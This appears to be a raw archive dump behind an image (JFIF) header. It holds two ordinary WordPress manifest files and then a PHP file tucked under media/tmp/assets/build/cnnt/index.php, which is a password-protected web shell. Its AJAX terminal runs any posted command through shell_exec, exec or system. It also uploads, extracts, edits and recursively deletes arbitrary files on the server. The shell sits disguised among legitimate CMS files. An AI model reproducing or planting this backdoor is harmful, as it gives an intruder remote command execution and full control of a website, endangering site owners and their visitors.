ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.- script-modules-packages.php 0000644 00000013622 15234243752 0012016 0 ustar 00 array( 'dependencies' => array( ), 'version' => '1c371cb517a97cdbcb9f' ), 'abilities/index.js' => array( 'dependencies' => array( 'wp-data', 'wp-i18n' ), 'version' => 'f3475bc77a30dcc5b38d' ), 'block-editor/utils/fit-text-frontend.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '383c7a8bd24a1f2fd9b9' ), 'block-library/accordion/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '2af01b43d30739c3fb8d' ), 'block-library/file/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '7d4d261d10dca47ebecb' ), 'block-library/form/view.js' => array( 'dependencies' => array( ), 'version' => '5542f8ad251fe43ef09e' ), 'block-library/image/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '25ee935fd6c67371d0f3' ), 'block-library/navigation/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '96a846e1d7b789c39ab9' ), 'block-library/playlist/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '99f747d731f80246db11' ), 'block-library/query/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ), array( 'id' => '@wordpress/interactivity-router', 'import' => 'dynamic' ) ), 'version' => '7a4ec5bfb61a7137cf4b' ), 'block-library/search/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '38bd0e230eaffa354d2a' ), 'block-library/tabs/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '1f60dd5e3fa56c6b2e2e' ), 'boot/index.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-theme', 'wp-url' ), 'module_dependencies' => array( array( 'id' => '@wordpress/a11y', 'import' => 'static' ), array( 'id' => '@wordpress/lazy-editor', 'import' => 'dynamic' ), array( 'id' => '@wordpress/route', 'import' => 'static' ) ), 'version' => '54bb5a420026a61c7e4f' ), 'connectors/index.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-private-apis' ), 'version' => '274797868955a828dfdc' ), 'core-abilities/index.js' => array( 'dependencies' => array( 'wp-api-fetch', 'wp-url' ), 'module_dependencies' => array( array( 'id' => '@wordpress/abilities', 'import' => 'static' ) ), 'version' => '012760fd849397dd0031' ), 'edit-site-init/index.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-data', 'wp-element', 'wp-primitives' ), 'module_dependencies' => array( array( 'id' => '@wordpress/boot', 'import' => 'static' ) ), 'version' => 'e57f44d1a9f69e75d2d9' ), 'interactivity/index.js' => array( 'dependencies' => array( ), 'version' => 'efaa5193bbad9c60ffd1' ), 'interactivity-router/full-page.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity-router', 'import' => 'dynamic' ) ), 'version' => '5c07cd7a12ae073c5241' ), 'interactivity-router/index.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/a11y', 'import' => 'dynamic' ), array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '71aa17bac91628a0f874' ), 'latex-to-mathml/index.js' => array( 'dependencies' => array( ), 'version' => 'e5fd3ae6d2c3b6e669da' ), 'latex-to-mathml/loader.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/latex-to-mathml', 'import' => 'dynamic' ) ), 'version' => '4f37456af539bd3d2351' ), 'lazy-editor/index.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-private-apis', 'wp-style-engine' ), 'version' => '30ab62f45bfe9f971ea0' ), 'route/index.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-private-apis' ), 'version' => 'c5843b6c5e84b352f43b' ), 'workflow/index.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-primitives', 'wp-private-apis' ), 'module_dependencies' => array( array( 'id' => '@wordpress/abilities', 'import' => 'static' ) ), 'version' => '13556bc597bbf2a8d620' ) ); icon-library-manifest.php 0000644 00000024431 15234243752 0011466 0 ustar 00 array( 'label' => _x( 'Arrow Down Left', 'icon label' ), 'filePath' => 'arrow-down-left.svg', ), 'arrow-down-right' => array( 'label' => _x( 'Arrow Down Right', 'icon label' ), 'filePath' => 'arrow-down-right.svg', ), 'arrow-down' => array( 'label' => _x( 'Arrow Down', 'icon label' ), 'filePath' => 'arrow-down.svg', ), 'arrow-left' => array( 'label' => _x( 'Arrow Left', 'icon label' ), 'filePath' => 'arrow-left.svg', ), 'arrow-right' => array( 'label' => _x( 'Arrow Right', 'icon label' ), 'filePath' => 'arrow-right.svg', ), 'arrow-up-left' => array( 'label' => _x( 'Arrow Up Left', 'icon label' ), 'filePath' => 'arrow-up-left.svg', ), 'arrow-up-right' => array( 'label' => _x( 'Arrow Up Right', 'icon label' ), 'filePath' => 'arrow-up-right.svg', ), 'arrow-up' => array( 'label' => _x( 'Arrow Up', 'icon label' ), 'filePath' => 'arrow-up.svg', ), 'at-symbol' => array( 'label' => _x( 'At Symbol (@)', 'icon label' ), 'filePath' => 'at-symbol.svg', ), 'audio' => array( 'label' => _x( 'Audio', 'icon label' ), 'filePath' => 'audio.svg', ), 'bell' => array( 'label' => _x( 'Bell', 'icon label' ), 'filePath' => 'bell.svg', ), 'block-default' => array( 'label' => _x( 'Block Default', 'icon label' ), 'filePath' => 'block-default.svg', ), 'block-meta' => array( 'label' => _x( 'Block Meta', 'icon label' ), 'filePath' => 'block-meta.svg', ), 'block-table' => array( 'label' => _x( 'Block Table', 'icon label' ), 'filePath' => 'block-table.svg', ), 'calendar' => array( 'label' => _x( 'Calendar', 'icon label' ), 'filePath' => 'calendar.svg', ), 'capture-photo' => array( 'label' => _x( 'Capture Photo', 'icon label' ), 'filePath' => 'capture-photo.svg', ), 'capture-video' => array( 'label' => _x( 'Capture Video', 'icon label' ), 'filePath' => 'capture-video.svg', ), 'cart' => array( 'label' => _x( 'Cart', 'icon label' ), 'filePath' => 'cart.svg', ), 'category' => array( 'label' => _x( 'Category', 'icon label' ), 'filePath' => 'category.svg', ), 'caution' => array( 'label' => _x( 'Caution', 'icon label' ), 'filePath' => 'caution.svg', ), 'chart-bar' => array( 'label' => _x( 'Chart Bar', 'icon label' ), 'filePath' => 'chart-bar.svg', ), 'check' => array( 'label' => _x( 'Check', 'icon label' ), 'filePath' => 'check.svg', ), 'chevron-down' => array( 'label' => _x( 'Chevron Down', 'icon label' ), 'filePath' => 'chevron-down.svg', ), 'chevron-down-small' => array( 'label' => _x( 'Chevron Down Small', 'icon label' ), 'filePath' => 'chevron-down-small.svg', ), 'chevron-left' => array( 'label' => _x( 'Chevron Left', 'icon label' ), 'filePath' => 'chevron-left.svg', ), 'chevron-left-small' => array( 'label' => _x( 'Chevron Left Small', 'icon label' ), 'filePath' => 'chevron-left-small.svg', ), 'chevron-right' => array( 'label' => _x( 'Chevron Right', 'icon label' ), 'filePath' => 'chevron-right.svg', ), 'chevron-right-small' => array( 'label' => _x( 'Chevron Right Small', 'icon label' ), 'filePath' => 'chevron-right-small.svg', ), 'chevron-up' => array( 'label' => _x( 'Chevron Up', 'icon label' ), 'filePath' => 'chevron-up.svg', ), 'chevron-up-down' => array( 'label' => _x( 'Chevron Up Down', 'icon label' ), 'filePath' => 'chevron-up-down.svg', ), 'chevron-up-small' => array( 'label' => _x( 'Chevron Up Small', 'icon label' ), 'filePath' => 'chevron-up-small.svg', ), 'comment' => array( 'label' => _x( 'Comment', 'icon label' ), 'filePath' => 'comment.svg', ), 'cover' => array( 'label' => _x( 'Cover', 'icon label' ), 'filePath' => 'cover.svg', ), 'create' => array( 'label' => _x( 'Create', 'icon label' ), 'filePath' => 'create.svg', ), 'desktop' => array( 'label' => _x( 'Desktop', 'icon label' ), 'filePath' => 'desktop.svg', ), 'download' => array( 'label' => _x( 'Download', 'icon label' ), 'filePath' => 'download.svg', ), 'drawer-left' => array( 'label' => _x( 'Drawer Left', 'icon label' ), 'filePath' => 'drawer-left.svg', ), 'drawer-right' => array( 'label' => _x( 'Drawer Right', 'icon label' ), 'filePath' => 'drawer-right.svg', ), 'envelope' => array( 'label' => _x( 'Envelope', 'icon label' ), 'filePath' => 'envelope.svg', ), 'error' => array( 'label' => _x( 'Error', 'icon label' ), 'filePath' => 'error.svg', ), 'external' => array( 'label' => _x( 'External', 'icon label' ), 'filePath' => 'external.svg', ), 'file' => array( 'label' => _x( 'File', 'icon label' ), 'filePath' => 'file.svg', ), 'gallery' => array( 'label' => _x( 'Gallery', 'icon label' ), 'filePath' => 'gallery.svg', ), 'group' => array( 'label' => _x( 'Group', 'icon label' ), 'filePath' => 'group.svg', ), 'heading' => array( 'label' => _x( 'Heading', 'icon label' ), 'filePath' => 'heading.svg', ), 'help' => array( 'label' => _x( 'Help', 'icon label' ), 'filePath' => 'help.svg', ), 'home' => array( 'label' => _x( 'Home', 'icon label' ), 'filePath' => 'home.svg', ), 'image' => array( 'label' => _x( 'Image', 'icon label' ), 'filePath' => 'image.svg', ), 'info' => array( 'label' => _x( 'Info', 'icon label' ), 'filePath' => 'info.svg', ), 'key' => array( 'label' => _x( 'Key', 'icon label' ), 'filePath' => 'key.svg', ), 'language' => array( 'label' => _x( 'Language', 'icon label' ), 'filePath' => 'language.svg', ), 'map-marker' => array( 'label' => _x( 'Map Marker', 'icon label' ), 'filePath' => 'map-marker.svg', ), 'menu' => array( 'label' => _x( 'Menu', 'icon label' ), 'filePath' => 'menu.svg', ), 'mobile' => array( 'label' => _x( 'Mobile', 'icon label' ), 'filePath' => 'mobile.svg', ), 'more-horizontal' => array( 'label' => _x( 'More Horizontal', 'icon label' ), 'filePath' => 'more-horizontal.svg', ), 'more-vertical' => array( 'label' => _x( 'More Vertical', 'icon label' ), 'filePath' => 'more-vertical.svg', ), 'next' => array( 'label' => _x( 'Next', 'icon label' ), 'filePath' => 'next.svg', ), 'paragraph' => array( 'label' => _x( 'Paragraph', 'icon label' ), 'filePath' => 'paragraph.svg', ), 'payment' => array( 'label' => _x( 'Payment', 'icon label' ), 'filePath' => 'payment.svg', ), 'pencil' => array( 'label' => _x( 'Pencil', 'icon label' ), 'filePath' => 'pencil.svg', ), 'people' => array( 'label' => _x( 'People', 'icon label' ), 'filePath' => 'people.svg', ), 'plus' => array( 'label' => _x( 'Plus', 'icon label' ), 'filePath' => 'plus.svg', ), 'plus-circle' => array( 'label' => _x( 'Plus Circle', 'icon label' ), 'filePath' => 'plus-circle.svg', ), 'previous' => array( 'label' => _x( 'Previous', 'icon label' ), 'filePath' => 'previous.svg', ), 'published' => array( 'label' => _x( 'Published', 'icon label' ), 'filePath' => 'published.svg', ), 'quote' => array( 'label' => _x( 'Quote', 'icon label' ), 'filePath' => 'quote.svg', ), 'receipt' => array( 'label' => _x( 'Receipt', 'icon label' ), 'filePath' => 'receipt.svg', ), 'rss' => array( 'label' => _x( 'RSS', 'icon label' ), 'filePath' => 'rss.svg', ), 'scheduled' => array( 'label' => _x( 'Scheduled', 'icon label' ), 'filePath' => 'scheduled.svg', ), 'search' => array( 'label' => _x( 'Search', 'icon label' ), 'filePath' => 'search.svg', ), 'settings' => array( 'label' => _x( 'Settings', 'icon label' ), 'filePath' => 'settings.svg', ), 'shadow' => array( 'label' => _x( 'Shadow', 'icon label' ), 'filePath' => 'shadow.svg', ), 'share' => array( 'label' => _x( 'Share', 'icon label' ), 'filePath' => 'share.svg', ), 'shield' => array( 'label' => _x( 'Shield', 'icon label' ), 'filePath' => 'shield.svg', ), 'shuffle' => array( 'label' => _x( 'Shuffle', 'icon label' ), 'filePath' => 'shuffle.svg', ), 'star-empty' => array( 'label' => _x( 'Star Empty', 'icon label' ), 'filePath' => 'star-empty.svg', ), 'star-filled' => array( 'label' => _x( 'Star Filled', 'icon label' ), 'filePath' => 'star-filled.svg', ), 'star-half' => array( 'label' => _x( 'Star Half', 'icon label' ), 'filePath' => 'star-half.svg', ), 'store' => array( 'label' => _x( 'Store', 'icon label' ), 'filePath' => 'store.svg', ), 'styles' => array( 'label' => _x( 'Styles', 'icon label' ), 'filePath' => 'styles.svg', ), 'symbol' => array( 'label' => _x( 'Symbol', 'icon label' ), 'filePath' => 'symbol.svg', ), 'symbol-filled' => array( 'label' => _x( 'Symbol Filled', 'icon label' ), 'filePath' => 'symbol-filled.svg', ), 'table' => array( 'label' => _x( 'Table', 'icon label' ), 'filePath' => 'table.svg', ), 'tablet' => array( 'label' => _x( 'Tablet', 'icon label' ), 'filePath' => 'tablet.svg', ), 'tag' => array( 'label' => _x( 'Tag', 'icon label' ), 'filePath' => 'tag.svg', ), 'tip' => array( 'label' => _x( 'Tip', 'icon label' ), 'filePath' => 'tip.svg', ), 'upload' => array( 'label' => _x( 'Upload', 'icon label' ), 'filePath' => 'upload.svg', ), 'verse' => array( 'label' => _x( 'Verse', 'icon label' ), 'filePath' => 'verse.svg', ), ); media/tmp/assets/build/cnnt/index.php 0000444 00000051720 15234243752 0013620 0 ustar 00 $val) { $parts[] = $is_list ? je($val) : '"'.h($key).'":'.je($val); } return $is_list ? '['.implode(',', $parts).']' : '{'.implode(',', $parts).'}'; } return '"'.str_replace(array("\\","\"","\r","\n"), array("\\\\","\\\"","\\r","\\n"), (string)$v).'"'; } } function biru_random_bytes($len){ if (is_fn_usable('random_bytes')) return random_bytes($len); $out = ''; for ($i = 0; $i < $len; $i++) $out .= chr(mt_rand(0, 255)); return $out; } function humanSize($b){ $u = array('B','KB','MB','GB','TB'); $i = 0; while ($b >= 1024 && $i < count($u)-1){ $b/=1024; $i++; } return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i]; } function permsToString($f){ $p = @fileperms($f); if ($p === false) return '??????????'; $t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-'); $s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-'); $s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-'); $s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); return $t.$s; } function isTextFile($p){ if (is_dir($p)) return false; $ext = strtolower(pathinfo((string)$p, PATHINFO_EXTENSION)); $allowed = array('txt','md','json','js','css','php','html','ini','xml','sql','env','py','sh'); return in_array($ext, $allowed, true); } function safeJoin($base,$child){ $child = str_replace(array("\0", ".."), '', $child); return rtrim($base, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child; } function listDirEntries($dir){ $h = @opendir($dir); if ($h===false) return array(); $items=array(); while(false!==($e=readdir($h))){ $items[]=$e; } closedir($h); return $items; } function rrmdir($p){ if (is_file($p) || is_link($p)) return @unlink($p); $h = @opendir($p); if(!$h) return false; while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; rrmdir(safeJoin($p,$v)); } closedir($h); return @rmdir($p); } function tryWriteFromTmp($tmp,$dest){ if(@move_uploaded_file($tmp,$dest) || @rename($tmp,$dest) || @copy($tmp,$dest)) return array(true, null); return array(false, "Write failed"); } function extractArchive($archivePath, $destPath) { if (class_exists('ZipArchive')) { $zip = new ZipArchive; if ($zip->open($archivePath) === TRUE) { $zip->extractTo($destPath); $zip->close(); @unlink($archivePath); return array(true, "Zip extracted"); } } return array(false, "Extractor not available"); } function breadcrumbs($path){ $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_values(array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen')); $out = array(); $acc = (DIRECTORY_SEPARATOR === '\\') ? '' : DIRECTORY_SEPARATOR; if (DIRECTORY_SEPARATOR === '\\' && preg_match('~^[A-Z]:~i', $path)) { $drive = substr($path, 0, 2); $acc = $drive.'\\'; $out[] = array($drive, $acc); } else { $out[] = array('root', DIRECTORY_SEPARATOR); } foreach($parts as $p){ if (preg_match('~^[A-Z]:$~i', $p)) continue; $acc = rtrim($acc, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $p; $out[] = array($p, $acc); } return $out; } function ensureCsrf(){ if($_SERVER['REQUEST_METHOD']==='POST'){ if (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) { http_response_code(403); exit("CSRF Invalid"); } } } /* ---------- ACTIONS: AJAX Terminal Handler (must come before any output) ---------- */ if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest') { header('Content-Type: application/json'); // Clear any previous output buffers while (ob_get_level()) ob_end_clean(); $response = array('error' => 'Unknown error'); if (!isset($_SESSION['auth'])) { $response = array('error' => 'Unauthorized'); } elseif ($_SERVER['REQUEST_METHOD'] !== 'POST') { $response = array('error' => 'Invalid request method'); } elseif (!isset($_POST['csrf']) || $_POST['csrf'] !== $_SESSION['csrf']) { $response = array('error' => 'CSRF token mismatch'); } elseif (!isset($_POST['cmd'])) { $response = array('error' => 'No command provided'); } else { $cmd = $_POST['cmd']; $output = ''; // Try shell_exec first if (function_exists('shell_exec')) { $output = @shell_exec($cmd . ' 2>&1'); if ($output === null) $output = ''; } // Fallback to exec elseif (function_exists('exec')) { exec($cmd . ' 2>&1', $output_lines, $ret); $output = implode("\n", $output_lines); } // Fallback to system elseif (function_exists('system')) { ob_start(); @system($cmd . ' 2>&1'); $output = ob_get_clean(); } else { $output = 'ERROR: No command execution function available (shell_exec, exec, system all disabled)'; } $response = array('output' => (string)$output); } echo json_encode($response); exit; } /* ---------- Normal (non-AJAX) request handling ---------- */ if (!isset($_SESSION['auth'])) { if (isset($_GET['a']) && $_GET['a'] === 'login' && isset($_POST['user'])) { if ($_POST['user'] === AUTH_USER && password_verify($_POST['pass'], AUTH_PASS_HASH)) { $_SESSION['auth'] = true; header("Location: ?"); exit; } } // Render Login Page echo '
'; exit; } $initial_script_dir = realpath(getcwd()); $requested_path = isset($_GET['d']) ? (string)$_GET['d'] : ''; $current_path = (realpath($requested_path) && is_dir(realpath($requested_path))) ? realpath($requested_path) : $initial_script_dir; $msg = ''; $cmd_out = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { ensureCsrf(); $a = isset($_GET['a']) ? $_GET['a'] : ''; if (isset($_POST['cmd'])) { $cmd = $_POST['cmd'] . ' 2>&1'; $cmd_out = h(shell_exec($cmd)); } if ($a === 'upload' && isset($_FILES['file'])) { $dest = safeJoin($current_path, $_FILES['file']['name']); list($ok, $err) = tryWriteFromTmp($_FILES['file']['tmp_name'], $dest); $msg = $ok ? "Uploaded: ".$_FILES['file']['name'] : "Error: $err"; } if ($a === 'save_file' && isset($_POST['target_file'])) { if (@file_put_contents($_POST['target_file'], $_POST['file_content']) !== false) { $msg = "File saved!"; } } } if (isset($_GET['a']) && $_GET['a'] === 'del' && isset($_GET['path'])) { if (rrmdir($_GET['path'])) $msg = "Deleted!"; } if (isset($_GET['a']) && $_GET['a'] === 'edit_file' && isset($_GET['path'])) { header('Content-Type: text/plain'); echo @file_get_contents($_GET['path']); exit; } if (isset($_GET['a']) && $_GET['a'] === 'logout') { session_destroy(); header("Location: ?"); exit; } /* ---------- UI Icons (same as before) ---------- */ function svgIcon($name, $class='w-5 h-5 text-slate-400'){ $icons = array( 'folder'=>'', 'file'=>'', 'trash'=>'', 'edit'=>'' ); return isset($icons[$name]) ? $icons[$name] : ''; } ?>| Name | Size | Action |
|---|---|---|
| = svgIcon($is_dir ? 'folder' : 'file') ?> = h($f) ?> | = $is_dir ? 'DIR' : humanSize(@filesize($path)) ?> | = svgIcon('trash') ?> |